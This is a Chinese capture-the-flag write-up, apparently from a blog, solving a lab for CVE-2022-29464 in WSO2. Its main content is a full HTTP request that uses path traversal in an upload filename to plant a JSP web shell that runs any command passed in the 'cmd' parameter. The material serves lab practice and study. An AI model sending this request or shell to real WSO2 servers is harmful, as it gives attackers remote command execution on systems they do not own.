春秋云境：CVE-2022-29464（WSO2文件上传漏洞）-Toy模板网

这篇具有很好参考价值的文章主要介绍了春秋云境：CVE-2022-29464（WSO2文件上传漏洞）。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

一、题目

春秋云境：CVE-2022-29464（WSO2文件上传漏洞）,i春秋,安全,web安全,网络安全,http

进入题目：

是一个登录页面

春秋云境：CVE-2022-29464（WSO2文件上传漏洞）,i春秋,安全,web安全,网络安全,http

这题确实没什么思路，所以看了官方POC：

因为这个漏洞已经被国家cnnvd收入了

春秋云境：CVE-2022-29464（WSO2文件上传漏洞）,i春秋,安全,web安全,网络安全,http

二、burp改包

burp抓包：不需要登录，刷新即可。

春秋云境：CVE-2022-29464（WSO2文件上传漏洞）,i春秋,安全,web安全,网络安全,http

发送到重放器：根据官方POC更改即可：

这两个参数需要用本机抓包的：

Host: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Accept: */*

POST /fileupload/toolsAny HTTP/2
Host: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 896
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0


--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/testshell.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/testshell.jsp"

<FORM>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <%=output %>
--4ef9f369a86bfaadf5ec3177278d49c0--

如图：

春秋云境：CVE-2022-29464（WSO2文件上传漏洞）,i春秋,安全,web安全,网络安全,http